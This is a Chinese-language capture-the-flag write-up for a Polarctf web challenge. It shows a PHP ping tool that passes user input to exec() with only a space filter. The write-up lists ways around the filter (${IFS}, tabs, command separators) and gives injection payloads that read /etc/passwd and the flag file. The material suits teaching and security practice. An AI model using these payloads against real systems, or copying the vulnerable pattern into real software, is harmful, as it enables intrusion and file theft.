考點:
(1)RCE(exec函數)
(2)空格繞過
(3)執行函數(exec函數)
(4)閉合(ping命令閉合)
題目來源:Polarctf-web-[rce1]
解題:
這段代碼實現了一個簡單的 Ping 測試工具,用戶可以通過表單提交一個 IP 地址,服務器會執行 ping 命令并返回結果。
-
命令注入漏洞 (高危)
-
漏洞位置:
$cmd = "ping -c 4 {$ip}";
和exec($cmd, $res);
-
問題描述: 代碼僅過濾了空格字符,攻擊者可以使用以下方式繞過:
-
使用制表符
%09
代替空格 -
使用
${IFS}
(Bash 內部字段分隔符)代替空格(本題使用這個) -
使用重定向符號
<
或>
不需要空格 -
使用
;
、&&
、||
等命令連接符
-
-
攻擊示例:
127.0.0.1;cat${IFS}/etc/passwd127.0.0.1%0als${IFS}-l
-
輸入驗證不足 (中危)
-
問題描述: 僅檢查了是否包含空格,沒有進行有效的 IP 地址格式驗證
<?php?$res = FALSE;?if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) { # 檢測ip是否含有空格,如果不含有則進入里層,m用于存儲匹配的數組$cmd = "ping -c 4 {$ip}";exec($cmd, $res); # 執行cmd命令,res用于存儲命令的每一行輸出} else {$res = $m;}}?>?<!DOCTYPE html><html><head><meta charset="utf-8"><title>ping</title></head><body><style>html{height:100%;}body{padding: 0;margin: 0;background: url(1.png);background-size: 100% 100%;position: absolute;}</style>?<h1>就過濾了個空格,能拿到flag算我輸</h1>?<form action="#" method="GET"><label for="ip">IP : </label><br><input type="text" id="ip" name="ip"><input type="submit" value="Ping"></form>?<hr>?<pre><?phpif ($res) {print_r($res);}?></pre>?<?phpshow_source(__FILE__);?>?</body></html>
用分號閉合ping命令,輸入ls
,點擊"Ping"查看當前目錄文件
使用命令查看可疑文件,由于過濾了空格,此處使用${IFS}進行繞過:;cat${IFS}fllllaaag.php
點擊"Ping"
成功回顯,查看源碼獲得flag